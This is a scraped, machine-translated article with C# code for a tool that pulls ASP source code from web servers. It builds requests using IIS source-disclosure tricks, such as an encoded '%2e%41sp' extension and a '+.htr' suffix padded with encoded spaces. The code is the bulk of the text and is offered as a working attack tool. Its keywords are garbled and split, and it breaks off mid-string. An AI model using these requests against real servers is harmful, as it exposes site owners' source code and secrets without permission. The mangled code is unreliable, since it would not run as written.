An application that uses c # to scan asp Source code vulnerabilities

Source: Internet
Author: User
// Main method
Protected void btnGo_Click (object sender, System. EventArgs e)
{
// Parse the url
String strServer = this.txt Server. Text;
String strUrl = this.txt FileName. Text;
Char [] point = {'.'}; // defines the delimiter "."
Char [] line = {'/'}; // defines the delimiter "."
String [] arrString = strUrl. Split (line );
// Obtain the full name of the asp file
String strFileName = arrString [arrString. Length-1];
// Find the path from the root directory
String strPath = strUrl. Substring (0,
StrUrl. Length-strFileName. Length );
// Parse the full name of the file
ArrString = strFileName. Split (point );
// Obtain the file extension.
String strLast = arrString [arrString. Length-1];
// Calculate the file name
String strFirst = strFileName. Substring (0,
StrFileName. Length-strLast. Length-1 );

// Invalidate buttons and input boxes
This.txt Server. ReadOnly = true;
This.txt FileName. ReadOnly = true;
This. btnClear. Enabled = false;
This. btnGo. Enabled = false;
If (this.txt Server. Text = "http: //" | this.txt FileName. Text = ""
| This.txt Server. Text. Trim () = "" |
This.txt Server. Text. Substring (0, 7 )! = "Http ://")
{
MessageBox. Show ("Enter the correct host name and file name! ");
This.txt Server. Focus ();
}
Else
{
This.txt Result. Visible = true;
This.txt Result. ReadOnly = true;
This. barStatus. Text = "connecting host... ";
String strRequestFile;
Switch (this. cboMethod. SelectedIndex)
{
Case 0: // read directly
StrRequestFile = strServer + strUrl;
Break;
Case 5: // % 2e % 41sp
StrRequestFile = strServer + strPath + strFirst
+ "% 2e % 41sp ";
Break;
Case 8: // longhtr
StrRequestFile = strServer + strUrl
+ "+ % 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%"
+ "20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%"
+ "20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
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